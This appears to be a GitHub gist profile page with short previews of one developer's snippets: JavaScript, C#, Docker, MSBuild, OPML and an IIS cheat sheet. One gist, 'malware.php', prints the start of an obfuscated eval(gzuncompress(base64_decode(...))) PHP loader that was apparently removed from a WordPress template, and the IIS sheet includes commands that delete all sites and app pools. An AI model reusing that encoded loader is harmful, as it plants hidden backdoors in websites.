Skip to content

Instantly share code, notes, and snippets.

View alexsandro-xpt's full-sized avatar

Alexsandro Souza Pereira alexsandro-xpt

View GitHub Profile
@alexsandro-xpt
alexsandro-xpt / color.js
Created December 19, 2017 20:13
Generate Color HEX
var color = '#' + Math.floor(Math.random()*16777215).toString(16);
@alexsandro-xpt
alexsandro-xpt / script.js
Created October 23, 2017 20:59
Vuex Behavior
computed: {
...mapState({
itensCarrinho: state => state.Dashboard.itens
})
},
methods: {
...mapActions(['updateProduto', 'removeProduto']),
updateQuantidade (item, value) {
let v = parseInt(value, 10);
@alexsandro-xpt
alexsandro-xpt / malware.php
Last active September 29, 2017 18:31
Exploid removed from Wordpress Template.
eval(gzuncompress(base64_decode('eNqFVm1v01YU/it3USXiNg1+iZOmVTZBkxZYaas0aQsYWTfOTeLG8Y3s68ahQryI8dayaQJWpH3aB7qJia1DQhNCk4CNabCNCSa2shXtr+xcu6xJ6MCtbCf33POcc55znxPDwq6L9Ktnfl97sdR0zEXMCHIZZqbRpz//7vTq5sju/r0WpWXbtBfwMNqPLNOoozb1HESwY9ESiSFsl5Fnl2n4dQszoxbv3x26QRXPNphJbaRfuPnV7TurP/x4Ltqn3zrz853HwpJZib7jEqsyPLwFJwyHH/XNlx/cfBEVAH4GO7gmpSsGwDfgiiFax20AIHbZrIw4hHmOjfZiN5dM6Nnc6FQ5F+3yeWQL7qgwcrw3G4brBMJGTWwzF9FKJYaqjmcz065CprCGEXOoZQFcd3k68toKdakLNIMdB7ejEV3zy6omS4m16081f4hEMu92p3SI4FpQVgAzGXKoV+XVixRymq+ks5okS0W/wB+aryY1PyGPRWLgVhEVzS+JJ784++eDG4HX7szcBg6JQqzGKStRynjVIliTJDEvGlm6OAEQyp5jE3a5pUmKJI8taH4ScBKpIjvU8DUpmTysiUm5rElqwjDVhRJskMVFMJb52yzcxNK45WHlIBirhiaJqVprWh7T/FQKz00uHh6HyNV0aZx/oxyag/tQbTILqUjgEzYA1ph9GByKs20Al8FDQszwDD9Z+2fj3GvlmqqhNlQsBllhhiqEWC6qQt5BZvvyPCDIjEcOaSZaGU1Mqdzb7Uunrmg+lq59ef/xa9Wa4bWKvXq0CSEY12oBDUVxdiYsfLI0OzMP1RABQ93LGVFhQQ1i3dR8IwXu8QmgWtIUKfUrECSu78BLg3ecSxsEMYpdFhweAqkA99B+4RGCQxlHE3xlahc868RFJY8xAiuWhUw7tDIcCDeODsKZCCKtAx0qcMIDk+RkYXYsHUauqvV6EObK8tONn26cv6cpsgKhRQ7Y3PAYp3P+QA0
<PropertyGroup>
<BaseIntermediateOutputPath>..\..\build\$(AssemblyName)\obj</BaseIntermediateOutputPath>
<IntermediateOutputPath Condition=" '$(PlatformName)' == 'AnyCPU' ">$(BaseIntermediateOutputPath)$(Configuration)\</IntermediateOutputPath>
<IntermediateOutputPath Condition=" '$(PlatformName)' != 'AnyCPU' ">$(BaseIntermediateOutputPath)$(PlatformName)\$(Configuration)\</IntermediateOutputPath>
</PropertyGroup>
@alexsandro-xpt
alexsandro-xpt / Program.cs
Created July 17, 2017 20:16
Calcula números primos
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading;
using System.Threading.Tasks;
using System.Linq;
namespace calc
{
version: '3.1'
#customise this with options from
#https://www.consul.io/docs/agent/options.html
services:
seed:
hostname: seed
image: consul:0.8.0
<?xml version="1.0" encoding="UTF-8"?>
<opml version="1.0">
<head>
<title>Assinaturas de Feeds via Grover Podcast</title>
<dateCreated>2019-07-23T17:52:47</dateCreated>
<dateModified>2019-07-23T17:52:47</dateModified>
</head>
<body>
<outline text="Castálio Podcast" type="rss" xmlUrl="http://feeds.feedburner.com/CastalioPodcastMP3" htmlUrl="http://feeds.feedburner.com/CastalioPodcastMP3" />
<outline text="PodProgramar | Mundo Podcast" type="rss" xmlUrl="https://mundopodcast.com.br/podprogramar/feed/" htmlUrl="https://mundopodcast.com.br/podprogramar/feed/" />
@alexsandro-xpt
alexsandro-xpt / iischeatsheet.bat
Created March 3, 2017 18:53 — forked from jcefoli/iischeatsheet.bat
IIS Websites and Apppools Delete/Import/Export Cheat Sheet
REM Delete all Websites
%windir%\system32\inetsrv\appcmd list site /xml | %windir%\system32\inetsrv\appcmd delete site /in
REM Delete all App Pools
%windir%\system32\inetsrv\appcmd list apppool /xml | %windir%\system32\inetsrv\appcmd delete apppool /in
REM Export all the Application Pools:
%windir%\system32\inetsrv\appcmd list apppool /config /xml > C:\apppools.xml
REM Import all the Application Pools:
@alexsandro-xpt
alexsandro-xpt / Example.html
Created December 23, 2016 21:30 — forked from Danielku15/Example.html
A MediaTypeFormatter for WebApi for multipart/form-data including file uploads
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>File Upload example</title>
<link href="/Content/bootstrap.css" rel="stylesheet" />
</head>
<body>
<form action="api/Upload" method="post">
<div class="form-group">
@alexsandro-xpt
alexsandro-xpt / Dockerfile.yml
Created November 22, 2016 19:53
Install Crystal Reports
FROM microsoft/iis
SHELL ["powershell", "-command"]
# Install ASP.NET
RUN Install-WindowsFeature NET-Framework-45-ASPNET; `
Install-WindowsFeature Web-Asp-Net45
RUN mkdir C:\cry
COPY CRRuntime_64bit_13_0_5.msi C:\cry